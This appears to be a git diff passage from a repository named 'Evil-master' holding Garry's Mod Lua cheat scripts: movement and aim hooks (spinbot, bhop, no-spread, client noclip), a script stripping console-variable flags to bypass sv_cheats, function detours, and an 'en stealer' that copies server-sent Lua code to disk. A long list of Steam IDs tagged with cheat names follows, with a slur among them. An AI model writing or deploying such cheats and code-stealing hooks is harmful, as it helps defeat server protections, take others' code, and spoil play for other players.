( cmd:KeyDown( IN_MOVELEFT ) ) then add = add - ang:Right() end if ( cmd:KeyDown( IN_JUMP ) ) then add = add + ang:Up() end if ( cmd:KeyDown( IN_DUCK ) ) then add = add - ang:Up() end add = add:GetNormal() * FrameTime() * 500 if ( cmd:KeyDown( IN_SPEED ) ) then add = add * 2 end ghostpos = ghostpos + add cmd:SetForwardMove( 0 ) cmd:SetSideMove( 0 ) cmd:SetUpMove( 0 ) cmd:SetButtons( 0 ) end if bhop:GetBool() && !LocalPlayer():InVehicle() && (cmd:GetButtons() & IN_JUMP) > 0 then if LocalPlayer():IsOnGround() then cmd:SetButtons(cmd:GetButtons() | IN_JUMP) else cmd:SetButtons(cmd:GetButtons() & clear) end end if spinbot:GetBool() && (cmd:GetButtons() & (IN_ATTACK | IN_ATTACK2)) == 0 then local view = cmd:GetViewAngles() spinangle.y = spinangle.y + 20 SetViewAngles(cmd, spinangle) local diff = math.Deg2Rad(math.NormalizeAngle(spinangle.y - view.y)) local absf = math.Clamp(cmd:GetForwardMove(), -1, 1) local abss = math.Clamp(cmd:GetSideMove(), -1, 1) cmd:SetForwardMove(-1000 * math.sin(diff) * abss) cmd:SetSideMove(1000 * math.sin(diff) * absf) end end local function bcalcview( ply, origin, angl, fov ) if IsValid(ply:GetVehicle()) or gamemodeview:GetBool() or recording_mode then return end if clientsidenoclip:GetBool() && ghostpos != nil then local view = {} view.origin = ghostpos return view end ghostpos = origin iZoom = math.Clamp( iZoom + ( iZoomAdd * 140 * FrameTime() ), 0, 80 ) if state && angles!=Angle(0,0,0) then local view={} if iZoom > 0 then view.fov = 90 - iZoom end angles.r=0 view.angles= angles return view end local view={} if iZoom > 0 then view.fov = 90 - iZoom end view.angles=ucorrected return view end hook.Add("CreateMove", "HEX3", bcmove) hook.Add("CalcView", "HEX4", bcalcview) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/deco/New Lua Script.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/deco/New Lua Script.lua new file mode 100644 index 0000000..1db6877 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/deco/New Lua Script.lua @@ -0,0 +1 @@ + local SetViewAngles = _R.CUserCmd.SetViewAngles local clear = 0xFFFF - IN_JUMP local spinangle = Angle(0,0,0) local ucorrected = Angle(0,0,0) local ghostpos = nil local function bcmove(cmd) if state && angles!=Angle(0,0,0) then local MouseFixUp = AimSmooth:GetFloat() != 0 and Angle(cmd:GetMouseY() * GetConVarNumber("m_pitch"), cmd:GetMouseX() * -GetConVarNumber("m_yaw")) or Angle(0,0,0) angles = angles + MouseFixUp angles.r=0 ucorrected = angles ucorrected.p = math.NormalizeAngle(ucorrected.p) ucorrected.y = math.NormalizeAngle(ucorrected.y) if NoSpreadHere and (cmd:GetButtons() & IN_ATTACK > 0) then local AntiSpread = PredictSpread(cmd,angles) AntiSpread.p = math.NormalizeAngle(AntiSpread.p) AntiSpread.y = math.NormalizeAngle(AntiSpread.y) SetViewAngles(cmd,AntiSpread) else SetViewAngles(cmd,angles) end else local correct = 1 if iZoom != 0 then correct = ( 1 - ( iZoom / 100 ) ) end if !(IsValid(LocalPlayer():GetActiveWeapon()) && LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" && (cmd:GetButtons() & IN_USE) > 0) then ucorrected.y = math.NormalizeAngle(ucorrected.y + (cmd:GetMouseX() * -0.022 * correct)) ucorrected.p = math.Clamp(ucorrected.p + (cmd:GetMouseY() * 0.022 * correct), -89, 90) end if ghostpos == nil then if (cmd:GetButtons() & IN_ATTACK > 0) and not IsValid(LocalPlayer():GetVehicle()) then if NoSpreadHere and alwaysnospread:GetBool() then local ang = PredictSpread(cmd, ucorrected) ang.p = math.NormalizeAngle(ang.p) ang.y = math.NormalizeAngle(ang.y) SetViewAngles(cmd, ang) else SetViewAngles(cmd, ucorrected) end else SetViewAngles(cmd, ucorrected) end end end end hook.Add("CreateMove", "HEX3", bcmove) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/deco/waffle.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/deco/waffle.lua new file mode 100644 index 0000000..5bdb7f5 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/deco/waffle.lua @@ -0,0 +1,86 @@ +local function bcmove(cmd) + if state && angles!=Angle(0,0,0) then + local MouseFixUp = AimSmooth:GetFloat() != 0 and Angle(cmd:GetMouseY() * GetConVarNumber("m_pitch"), cmd:GetMouseX() * -GetConVarNumber("m_yaw")) or Angle(0,0,0) + angles = angles + MouseFixUp + angles.r=0 + ucorrected = angles + ucorrected.p = math.NormalizeAngle(ucorrected.p) + ucorrected.y = math.NormalizeAngle(ucorrected.y) + + if NoSpreadHere and (cmd:GetButtons() & IN_ATTACK > 0) then + local AntiSpread = PredictSpread(cmd,angles) + AntiSpread.p = math.NormalizeAngle(AntiSpread.p) + AntiSpread.y = math.NormalizeAngle(AntiSpread.y) + + SetViewAngles(cmd,AntiSpread) + else + SetViewAngles(cmd,angles) + end + + else + + local correct = 1 + if iZoom != 0 then + correct = ( 1 - ( iZoom / 100 ) ) + end + + if !(IsValid(LocalPlayer():GetActiveWeapon()) && LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" && (cmd:GetButtons() & IN_USE) > 0) then + ucorrected.y = math.NormalizeAngle(ucorrected.y + (cmd:GetMouseX() * -0.022 * correct)) + ucorrected.p = math.Clamp(ucorrected.p + (cmd:GetMouseY() * 0.022 * correct), -89, 90) + end + + + if ghostpos == nil then + if (cmd:GetButtons() & IN_ATTACK > 0) and not IsValid(LocalPlayer():GetVehicle()) then + if NoSpreadHere and HeXNoSpread:GetBool() then + local ang = PredictSpread(cmd, ucorrected) + ang.p = math.NormalizeAngle(ang.p) + ang.y = math.NormalizeAngle(ang.y) + + SetViewAngles(cmd, ang) + else + SetViewAngles(cmd, ucorrected) + end + else + SetViewAngles(cmd, ucorrected) + end + end + + end + +end + + + +local function bcalcview( ply, origin, angl, fov ) + if IsValid(ply:GetVehicle()) then return end + + --[[if clientsidenoclip:GetBool() && ghostpos != nil then + local view = {} + view.origin = ghostpos + return view + end]] + + ghostpos = origin + + iZoom = math.Clamp( iZoom + ( iZoomAdd * 140 * FrameTime() ), 0, 80 ) + + if state && angles!=Angle(0,0,0) then + local view={} + if iZoom > 0 then + view.fov = 90 - iZoom + end + + angles.r=0 + view.angles= angles + return view + end + + local view={} + if iZoom > 0 then + view.fov = 90 - iZoom + end + + view.angles=ucorrected + return view +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/dereplicate2 src.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/dereplicate2 src.lua new file mode 100644 index 0000000..ed4ee87 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/dereplicate2 src.lua @@ -0,0 +1,84 @@ + + +local CVarToString = { + [FCVAR_UNREGISTERED] = "FCVAR_UNREGISTERED", + [FCVAR_GAMEDLL] = "FCVAR_GAMEDLL", + [FCVAR_CLIENTDLL] = "FCVAR_CLIENTDLL", + [FCVAR_PROTECTED] = "FCVAR_PROTECTED", + [FCVAR_SPONLY] = "FCVAR_SPONLY", + [FCVAR_ARCHIVE] = "FCVAR_ARCHIVE", + [FCVAR_NOTIFY] = "FCVAR_NOTIFY", + [FCVAR_USERINFO] = "FCVAR_USERINFO", + [FCVAR_PRINTABLEONLY] = "FCVAR_PRINTABLEONLY", + [FCVAR_UNLOGGED] = "FCVAR_UNLOGGED", + [FCVAR_NEVER_AS_STRING] = "FCVAR_NEVER_AS_STRING", + [FCVAR_REPLICATED] = "FCVAR_REPLICATED", + [FCVAR_CHEAT] = "FCVAR_CHEAT", + [FCVAR_DEMO] = "FCVAR_DEMO", + [FCVAR_DONTRECORD] = "FCVAR_DONTRECORD", + [FCVAR_NOT_CONNECTED] = "FCVAR_NOT_CONNECTED", + [FCVAR_ARCHIVE_XBOX] = "FCVAR_ARCHIVE_XBOX", + [FCVAR_SERVER_CAN_EXECUTE] = "FCVAR_SERVER_CAN_EXECUTE", + [FCVAR_SERVER_CANNOT_QUERY] = "FCVAR_SERVER_CANNOT_QUERY", + [FCVAR_CLIENTCMD_CAN_EXECUTE] = "FCVAR_CLIENTCMD_CAN_EXECUTE", +} + + if flags == FCVAR_CHEAT + FCVAR_NOT_CONNECTED then + flags = "FCVAR_CHEAT, FCVAR_NOT_CONNECTED" + elseif flags == FCVAR_REPLICATED + FCVAR_NOT_CONNECTED then + flags = "FCVAR_REPLICATED, FCVAR_NOT_CONNECTED" + elseif CVarToString[flags] then + flags = CVarToString[flags] + else + flags = tostring(flags) + end + +--[[ +mat_wireframe + notconnected cheat server_can_execute clientcmd_can_execute + +mat_fullbright + notconnected cheat + +vcollide_wireframe + client notconnected cheat server_can_execute clientcmd_can_execute +]] + +local function StripCVar(cvar,flag) --remove + if hexcv and hexcv.IsFlagSet(cvar, flag) then + print("! cv: ", cvar, " flag: ", flag) + hexcv.SetFlags(cvar, hexcv.GetFlags(cvar) - flag) + return true + + else + print("! fuckup: ", cvar) + + + end + return false +end + + +local function StripCVarMulti(cvar,flags) + for k,v in pairs(flags) do + StripCVar(cvar,v) + end + return +end + + + + + StripCVar("sv_cheats", FCVAR_REPLICATED) + MsgDeReplicate("sv_cheats", FCVAR_REPLICATED) + + StripCVar("host_timescale", FCVAR_REPLICATED) + MsgDeReplicate("host_timescale", FCVAR_REPLICATED) + + StripCVar("host_framerate", FCVAR_CHEAT) + MsgDeReplicate("host_framerate", FCVAR_CHEAT) + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/detours.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/detours.lua new file mode 100644 index 0000000..c7aa7d5 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/detours.lua @@ -0,0 +1,55 @@ + + + + +function HeX.Detour.Meta(lib,func,new) + if _R[lib][func.."Old"] then + _R[lib][func] = _R[lib][func.."Old"] + _R[lib][func.."Old"] = nil + HeX.Detour.Saved[lib.."."..func] = nil + + ErrorNoHalt( Format("Detour of '%s.%s' from: %s was RELOADED\n", lib, func, HeX.FPath(new)) ) + end + + HeX.Detour.Saved[lib.."."..func] = {old = _R[lib][func], new = new, src = HeX.FPath(new)} + _R[lib][func.."Old"] = _R[lib][func] + _R[lib][func] = new +end + +HeX.Detour.Meta("Player", "PrintMessage", function(new) end) + +HeX.Detour.Meta("bf_read", "ReadString", function(new) end) + + + +function HeX.Detour.Global(lib,func,new) + local where = lib + if where == "_G" then + where = _G + else + where = _G[where] + end + + if where[func.."Old"] then + where[func] = where[func.."Old"] + where[func.."Old"] = nil + HeX.Detour.Saved[lib.."."..func] = nil + + ErrorNoHalt( Format("Detour of '%s.%s' from: %s was RELOADED\n", lib, func, HeX.FPath(new)) ) + end + + HeX.Detour.Saved[lib.."."..func] = {old = where[func], new = new, src = HeX.FPath(new)} + where[func.."Old"] = where[func] + where[func] = new +end + + +HeX.Detour.Global("os", "date", function(new) end) + +HeX.Detour.Global("_G", "PrintMessage", function(new) end) + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/en stealer.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/en stealer.lua new file mode 100644 index 0000000..d287cf4 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/en stealer.lua @@ -0,0 +1,70 @@ + + +if (#file.FindInLua("includes/modules/gm_hio.dll") > 0) then + require("hio") +end +local GetSendLua = false +local GetSendLua = true + +local Format = Format +local string = string +local file = file + +local function WriteFile(Filename,Cont) + if not (hIO) then + return file.Write(Filename, Cont) + end + + local HFileName = string.gsub(Filename, ".txt",".lua") + + if (hIO) and file.Exists(HFileName) then + hIO.Remove(Format("%s/data/%s", ModDIR, HFileName)) + end + if file.Exists(Filename) then + file.Delete(Filename) + end + + file.Write(Filename, Cont) + + if (hIO) then + hIO.Rename( Format("%s/data/%s", ModDIR, Filename),Format("%s/data/%s", ModDIR, HFileName) ) + end +end + +local function ExistsFile(Filename) + if not (hIO) then + return file.Exists(Filename) + end + + local HFileName = string.gsub(Filename, ".txt",".lua") + + return file.Exists(HFileName) +end + + + +if (#file.FindInLua("includes/modules/gm_preproc.dll") > 0) then + require("hook") + require("preproc") + + hook.Add("Lua_Preprocess", "LuaHook", function(name, path, lua) + if name == "LuaCmd" and GetSendLua then + file.Append("datapack/lua_run.txt", lua) + print("! lua_run: ", lua) + return + end + + if GetLua then + name = string.gsub(name, ".lua", ".txt") + name = "datapack/"..name + + if not ExistsFile(name) then + WriteFile(name, lua) + print("! got: ", name) + end + end + end) +end + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/extras.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/extras.lua new file mode 100644 index 0000000..e8f786f --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/extras.lua @@ -0,0 +1,85 @@ + +--[[ + extras.GetMapName() + extras.GetPlayerName( userid ) + extras.GetPlayerLogo( userid ) + extras.GetMaxPlayers() + extras.GetScreenAspectRatio() + extras.GetAllPlayers() + extras.GetPlayerIndex( userid ) + extras.GetPlayerSteamID( userid ) + extras.GetFriendID( userid ) + extras.LocalPlayerUserID() + extras.GetKeyForBinding( bind ) + extras.GetIP() + extras.Print( color, txt ) + extras.GetAppID() + extras.GetEngineBuildNumber() + extras.GetProductVersionString() -- Seems to crash game + extras.EmitCloseCaption( caption ) + extras.ServerCommand( cmd ) + extras.ExecuteClientCmd( cmd ) -- Seems to crash game + extras.ClientCmd_Unrestricted( cmd ) -- Seems to crash game + extras.ForceConVar( cvar, value ) + extras.IsDrawingLoadingImage() + extras.IsInEditMode() -- Seems to crash game + extras.IsConnected() + extras.IsFakePlayer( userid ) + extras.IsInGame() + extras.IsLowViolence() -- Seems to crash game + extras.IsHammerRunning() -- Seems to crash game + extras.IsConsoleVisible() + extras.IsPaused() + extras.IsPlayingDemo() + extras.IsPlayingTimeDemo() + extras.IsRecordingDemo() + extras.IsTakingScreenshot() + extras.SetEyeAngles( angle ) + extras.SupportsHDR() + extras.GetDXSupportLevel() +]] + +if not extras then + local function Useless() + print("! extras table gone !") + end + + extras.GetMapName = Useless + extras.GetPlayerName = Useless + extras.GetPlayerLogo = Useless + extras.GetMaxPlayers = Useless + extras.GetScreenAspectRatio = Useless + extras.GetAllPlayers = Useless + extras.GetPlayerIndex = Useless + extras.GetPlayerSteamID = Useless + extras.GetFriendID = Useless + extras.LocalPlayerUserID = Useless + extras.GetKeyForBinding = Useless + extras.GetIP = Useless + extras.Print = Useless + extras.GetAppID = Useless + extras.GetEngineBuildNumber = Useless + extras.GetProductVersionString = Useless + extras.EmitCloseCaption = Useless + extras.ServerCommand = Useless + extras.ExecuteClientCmd = Useless + extras.ClientCmd_Unrestricted = Useless + extras.ForceConVar = Useless + extras.IsDrawingLoadingImage = Useless + extras.IsInEditMode = Useless + extras.IsConnected = Useless + extras.IsFakePlayer = Useless + extras.IsInGame = Useless + extras.IsLowViolence = Useless + extras.IsHammerRunning = Useless + extras.IsConsoleVisible = Useless + extras.IsPaused = Useless + extras.IsPlayingDemo = Useless + extras.IsPlayingTimeDemo = Useless + extras.IsRecordingDemo = Useless + extras.IsTakingScreenshot = Useless + extras.SetEyeAngles = Useless + extras.SupportsHDR = Useless + extras.GetDXSupportLevel = Useless +end + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/flap.txt b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/flap.txt new file mode 100644 index 0000000..157d247 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/flap.txt @@ -0,0 +1,660 @@ +STEAM_0:0:49963094;Cheat: isis +STEAM_0:1:39052921;Cheat: isis +STEAM_0:1:43651259;Cheat: neon +STEAM_0:0:20973005;Cheat: inkbot +STEAM_0:0:18648599;Cheat: inkbot +STEAM_0:1:30602489;Cheat: isis +STEAM_0:0:10384960;Cheat: g +STEAM_0:0:22313374;Cheat: int +STEAM_0:1:2826106;Cheat: int +STEAM_0:0:29999073;Cheat: monsterhack +STEAM_0:1:40296742;Cheat: lix +STEAM_0:1:30714994;Cheat: neon +STEAM_0:1:24177661;Cheat: Elebot +STEAM_0:1:41886656;Cheat: Elebot +STEAM_0:0:20651275;Cheat: Neon +STEAM_0:1:24315562;Cheat: Coma +STEAM_0:0:19901992;Cheat: Code Injection +STEAM_0:0:38131040;Cheat: Code Injection +STEAM_0:1:33957251;Cheat: Code Injection +STEAM_0:1:28446368;Cheat: Code Injection +STEAM_0:0:36525933;Cheat: Code Injection +STEAM_0:0:38176760;Cheat: Code Injection +STEAM_0:0:5995530;Cheat: Code Injection +STEAM_0:0:29171828;Cheat: Code Injection +STEAM_0:1:14137101;Cheat: Code Injection +STEAM_0:1:17626391;Cheat: Code Injection +STEAM_0:0:13983114;Cheat: Code Injection +STEAM_0:0:12099804;Cheat: Code Injection +STEAM_0:1:13602538;Cheat: Code Injection +STEAM_0:0:43688624;Cheat: Code Injection +STEAM_0:0:26431054;Cheat: Code Injection +STEAM_0:1:25511182;Cheat: Code Injection +STEAM_0:1:21427056;Cheat: Code Injection +STEAM_0:1:19624868;Cheat: Code Injection +STEAM_0:0:12667741;Cheat: Code Injection +STEAM_0:0:18279666;Cheat: Code Injection +STEAM_0:1:38581282;Cheat: Code Injection +STEAM_0:1:40953131;Cheat: Code Injection +STEAM_0:1:37325264;Cheat: Code Injection +STEAM_0:1:48004946;Cheat: Code Injection +STEAM_0:0:17726148;Cheat: Code Injection +STEAM_0:0:42194705;Cheat: Code Injection +STEAM_0:0:19774979;Cheat: Code Injection +STEAM_0:0:38972880;Cheat: Code Injection +STEAM_0:1:23921311;Cheat: Code Injection +STEAM_0:1:32561559;Cheat: Code Injection +STEAM_0:1:39603922;Cheat: Code Injection +STEAM_0:0:17050506;Cheat: Code Injection +STEAM_0:1:21872927;Cheat: Code Injection +STEAM_0:0:18236678;Cheat: Code Injection +STEAM_0:0:13583020;Cheat: Code Injection +STEAM_0:0:40334407;Cheat: Code Injection +STEAM_0:0:46066;Cheat: Code Injection +STEAM_0:0:40916370;Cheat: Code Injection +STEAM_0:0:23516026;Cheat: Code Injection +STEAM_0:0:46298023;Cheat: Code Injection +STEAM_0:0:33968303;Cheat: Code Injection +STEAM_0:0:17367403;Cheat: Code Injection +STEAM_0:0:13196070;Cheat: Code Injection +STEAM_0:1:26220023;Cheat: Code Injection +STEAM_0:1:21056397;Cheat: Code Injection +STEAM_0:0:40735985;Cheat: Code Injection +STEAM_0:1:31191381;Cheat: Code Injection +STEAM_0:1:25675380;Cheat: Code Injection +STEAM_0:0:20928049;Cheat: Code Injection +STEAM_0:0:41146029;Cheat: Code Injection +STEAM_0:1:35038611;Cheat: Code Injection +STEAM_0:0:30883232;Cheat: Code Injection +STEAM_0:0:19617520;Cheat: elebot +STEAM_0:0:41307538;Cheat: tame +STEAM_0:1:11769924;Cheat: coma +STEAM_0:0:19338100;Cheat: coma +STEAM_0:0:21479539;Cheat: coma +STEAM_0:1:29640664;Cheat: coma +STEAM_0:1:34174066;Cheat: coma +STEAM_0:1:29812493;Cheat: tame +STEAM_0:0:49791119;Cheat: hh +STEAM_0:0:26325520;Cheat: hh +STEAM_0:0:21553359;Cheat: elebot +STEAM_0:0:40897007;Cheat: isis +STEAM_0:0:21760599;Cheat: coma +STEAM_0:1:15801351;Cheat: coma +STEAM_0:1:40407825;Cheat: hh +STEAM_0:0:6059942;Cheat: Code Injection +STEAM_0:1:29971267;Cheat: Code Injection +STEAM_0:1:30411341;Cheat: Code Injection +STEAM_0:1:37220271;Cheat: Code Injection +STEAM_0:1:37311111;Cheat: Code Injection +STEAM_0:0:49009808;Cheat: Code Injection +STEAM_0:0:21760599;Cheat: Code Injection +STEAM_0:1:18488836;Cheat: Code Injection +STEAM_0:1:30051971;Cheat: Code Injection +STEAM_0:0:27209687;Cheat: Code Injection +STEAM_0:0:42055458;Cheat: Code Injection +STEAM_0:1:29784969;Cheat: Code Injection +STEAM_0:1:47574863;Cheat: Code Injection +STEAM_0:1:12110199;Cheat: Code Injection +STEAM_0:0:32971824;Cheat: Code Injection +STEAM_0:1:45036640;Cheat: Code Injection +STEAM_0:0:13789991;Cheat: Code Injection +STEAM_0:1:47585786;Cheat: Code Injection +STEAM_0:1:31629013;Cheat: Code Injection +STEAM_0:0:24857790;Cheat: Code Injection +STEAM_0:0:20928928;Cheat: Code Injection +STEAM_0:1:38456959;Cheat: Code Injection +STEAM_0:0:27362367;Cheat: Code Injection +STEAM_0:1:20546481;Cheat: Code Injection +STEAM_0:1:32979564;Cheat: Code Injection +STEAM_0:1:32723575;Cheat: Code Injection +STEAM_0:1:20027677;Cheat: Code Injection +STEAM_0:1:22010666;Cheat: Code Injection +STEAM_0:0:10089448;Cheat: Code Injection +STEAM_0:0:25999084;Cheat: Code Injection +STEAM_0:0:23645529;Cheat: Code Injection +STEAM_0:0:26177708;Cheat: Code Injection +STEAM_0:1:15978572;Cheat: Code Injection +STEAM_0:1:30622959;Cheat: Code Injection +STEAM_0:0:10795659;Cheat: Code Injection +STEAM_0:0:8836134;Cheat: Code Injection +STEAM_0:1:27936486;Cheat: Code Injection +STEAM_0:0:20497785;Cheat: Code Injection +STEAM_0:0:25309195;Cheat: Code Injection +STEAM_0:0:47607534;Cheat: Code Injection +STEAM_0:0:45119049;Cheat: Code Injection +STEAM_0:1:31668419;Cheat: Code Injection +STEAM_0:0:30709335;Cheat: Code Injection +STEAM_0:0:43372066;Cheat: lix +STEAM_0:1:35738339;Cheat: gbot,eradicate,gbot3 +STEAM_0:0:43680205;Cheat: gbot +STEAM_0:1:50032155;Cheat: Code Injection +STEAM_0:0:20409589;Cheat: Code Injection +STEAM_0:1:29374611;Cheat: Code Injection +STEAM_0:1:38654884;Cheat: Code Injection +STEAM_0:0:45159127;Cheat: Code Injection +STEAM_0:1:26052782;Cheat: Code Injection +STEAM_0:0:28545861;Cheat: Code Injection +STEAM_0:1:34051928;Cheat: Code Injection +STEAM_0:1:27014861;Cheat: Code Injection +STEAM_0:0:34483728;Cheat: Code Injection +STEAM_0:1:43940964;Cheat: Code Injection +STEAM_0:0:47444339;Cheat: Code Injection +STEAM_0:1:37991340;Cheat: Code Injection +STEAM_0:1:43891704;Cheat: Code Injection +STEAM_0:0:30499160;Cheat: Code Injection +STEAM_0:1:40131982;Cheat: Code Injection +STEAM_0:1:39036191;Cheat: Code Injection +STEAM_0:1:50012443;Cheat: Code Injection +STEAM_0:0:31955945;Cheat: Code Injection +STEAM_0:1:30569150;Cheat: Code Injection +STEAM_0:1:37950845;Cheat: Code Injection +STEAM_0:0:39157486;Cheat: Code Injection +STEAM_0:0:38704795;Cheat: Code Injection +STEAM_0:1:37984975;Cheat: Code Injection +STEAM_0:0:33575136;Cheat: Code Injection +STEAM_0:0:40146815;Cheat: mfsp +STEAM_0:1:17286464;Cheat: coma +STEAM_0:1:44511758;Cheat: lix +STEAM_0:0:34111703;Cheat: lix +STEAM_0:1:33659672;Cheat: elebot +STEAM_0:0:23552236;Cheat: (cracked) sethhack v2 +STEAM_0:1:12018844;Cheat: isis +STEAM_0:1:44781337;Cheat: speed.lua +STEAM_0:1:1439351;Cheat: herpes +STEAM_0:0:24419439;Cheat: isis +STEAM_0:1:17508660;Cheat: Code Injection +STEAM_0:1:26736765;Cheat: Code Injection +STEAM_0:1:37602703;Cheat: Code Injection +STEAM_0:1:41918177;Cheat: Code Injection +STEAM_0:1:28533213;Cheat: Code Injection +STEAM_0:0:42305682;Cheat: Code Injection +STEAM_0:0:36940612;Cheat: Code Injection +STEAM_0:0:38469933;Cheat: Code Injection +STEAM_0:1:1426417;Cheat: Code Injection +STEAM_0:0:17652107;Cheat: Code Injection +STEAM_0:0:6428289;Cheat: Code Injection +STEAM_0:0:30939823;Cheat: Code Injection +STEAM_0:1:40749708;Cheat: Code Injection +STEAM_0:1:23629652;Cheat: Code Injection +STEAM_0:0:35205289;Cheat: Code Injection +STEAM_0:1:49076431;Cheat: Code Injection +STEAM_0:0:26311595;Cheat: Code Injection +STEAM_0:1:19159317;Cheat: Code Injection +STEAM_0:1:10417976;Cheat: Code Injection +STEAM_0:1:41611335;Cheat: Code Injection +STEAM_0:1:43969722;Cheat: Code Injection +STEAM_0:0:20220663;Cheat: speedhack +STEAM_0:0:39618012;Cheat: Code Injection +STEAM_0:0:22917225;Cheat: Code Injection +STEAM_0:0:8731533;Cheat: Code Injection +STEAM_0:1:36831604;Cheat: Code Injection +STEAM_0:0:45008543;Cheat: Code Injection +STEAM_0:0:24320781;Cheat: Code Injection +STEAM_0:0:26312585;Cheat: Code Injection +STEAM_0:0:43100738;Cheat: Code Injection +STEAM_0:0:12012182;Cheat: Code Injection +STEAM_0:1:48308696;Cheat: Code Injection +STEAM_0:1:31775427;Cheat: Code Injection +STEAM_0:1:13737877;Cheat: Code Injection +STEAM_0:1:11427632;Cheat: Code Injection +STEAM_0:1:29886937;Cheat: Code Injection +STEAM_0:0:19293437;Cheat: Code Injection +STEAM_0:1:19348310;Cheat: Code Injection +STEAM_0:1:26819163;Cheat: Code Injection +STEAM_0:1:17042971;Cheat: Code Injection +STEAM_0:0:32070437;Cheat: faggot (poki) +STEAM_0:1:33831311;Cheat: Code Injection +STEAM_0:1:18843517;Cheat: Code Injection +STEAM_0:0:11151054;Cheat: Code Injection +STEAM_0:0:25624107;Cheat: Code Injection +STEAM_0:1:30673177;Cheat: Code Injection +STEAM_0:0:14790879;Cheat: Code Injection +STEAM_0:1:13250571;Cheat: Code Injection +STEAM_0:1:28657939;Cheat: Code Injection +STEAM_0:1:34087705;Cheat: Code Injection +STEAM_0:1:21421892;Cheat: Code Injection +STEAM_0:0:29493653;Cheat: Code Injection +STEAM_0:1:38689930;Cheat: Code Injection +STEAM_0:1:17505658;Cheat: Code Injection +STEAM_0:1:37018013;Cheat: Code Injection +STEAM_0:1:38846072;Cheat: Code Injection +STEAM_0:1:8284163;Cheat: Code Injection +STEAM_0:1:14133131;Cheat: Code Injection +STEAM_0:1:32540524;Cheat: Code Injection +STEAM_0:0:32269281;Cheat: Code Injection +STEAM_0:1:19353043;Cheat: Code Injection +STEAM_0:0:44321488;Cheat: Code Injection +STEAM_0:0:1567954;Cheat: Code Injection +STEAM_0:1:33749817;Cheat: Code Injection +STEAM_0:1:33917884;Cheat: Code Injection +STEAM_0:0:19856818;Cheat: Code Injection +STEAM_0:0:5226387;Cheat: speedhack +STEAM_0:0:36006702;Cheat: Code Injection +STEAM_0:0:44098755;Cheat: Code Injection +STEAM_0:1:45424776;Cheat: Code Injection +STEAM_0:0:37641228;Cheat: Code Injection +STEAM_0:1:40152334;Cheat: Code Injection +STEAM_0:0:41799917;Cheat: Code Injection +STEAM_0:1:22010562;Cheat: Code Injection +STEAM_0:0:24822120;Cheat: Code Injection +STEAM_0:0:10713231;Cheat: Code Injection +STEAM_0:1:36131576;Cheat: zbot +STEAM_0:1:11650863;Cheat: Coma +STEAM_0:0:16319183;Cheat: Code Injection +STEAM_0:0:40161943;Cheat: Code Injection +STEAM_0:0:26053222;Cheat: Code Injection +STEAM_0:1:16230103;Cheat: Code Injection +STEAM_0:0:33891807;Cheat: Code Injection +STEAM_0:0:16350495;Cheat: Code Injection +STEAM_0:0:31925018;Cheat: Code Injection +STEAM_0:0:20703502;Cheat: Code Injection +STEAM_0:0:28307108;Cheat: Code Injection +STEAM_0:0:40143824;Cheat: Code Injection +STEAM_0:1:31811639;Cheat: Code Injection +STEAM_0:0:25160443;Cheat: Code Injection +STEAM_0:1:26118232;Cheat: Code Injection +STEAM_0:0:36232848;Cheat: Code Injection +STEAM_0:0:28307108;Cheat: Code Injection +STEAM_0:0:43159831;Cheat: Code Injection +STEAM_0:0:24199196;Cheat: Code Injection +STEAM_0:1:26188522;Cheat: Code Injection +STEAM_0:1:20280169;Cheat: Code Injection +STEAM_0:1:19839009;Cheat: NeonHack +STEAM_0:0:24213184;Cheat: Code Injection +STEAM_0:0:5682164;Cheat: Code Injection +STEAM_0:1:31052706;Cheat: Code Injection +STEAM_0:1:28810910;Cheat: Code Injection +STEAM_0:0:31219365;Cheat: Code Injection +STEAM_0:1:26604027;Cheat: Code Injection +STEAM_0:1:42802404;Cheat: Code Injection +STEAM_0:1:40335356;Cheat: Code Injection +STEAM_0:0:26692186;Cheat: Code Injection +STEAM_0:1:42297594;Cheat: Code Injection +STEAM_0:1:28282921;Cheat: Code Injection +STEAM_0:1:10309922;Cheat: Code Injection +STEAM_0:0:39101463;Cheat: Code Injection +STEAM_0:0:39690375;Cheat: Code Injection +STEAM_0:1:25657133;Cheat: Code Injection +STEAM_0:1:32024708;Cheat: Code Injection +STEAM_0:1:25657133;Cheat: Code injection +STEAM_0:1:22119869;Cheat: Code injection +STEAM_0:1:43221644;Cheat: Code injection +STEAM_0:1:43197919;Cheat: Code injection +STEAM_0:0:39163312;Cheat: Code injection +STEAM_0:0:5682164;Cheat: Code injection +STEAM_0:0:23750602;Cheat: Code injection +STEAM_0:1:10088463;Cheat: Code injection +STEAM_0:1:32835647;Cheat: Code injection +STEAM_0:0:31615557;Cheat: Code injection +STEAM_0:0:45523007;Cheat: Code injection +STEAM_0:0:29239364;Cheat: Code injection +STEAM_0:0:19038701;Cheat: Code injection +STEAM_0:1:21605065;Cheat: Code injection +STEAM_0:1:26344770;Cheat: Code injection +STEAM_0:1:38812224;Cheat: Code injection +STEAM_0:0:32982037;Cheat: CubHack 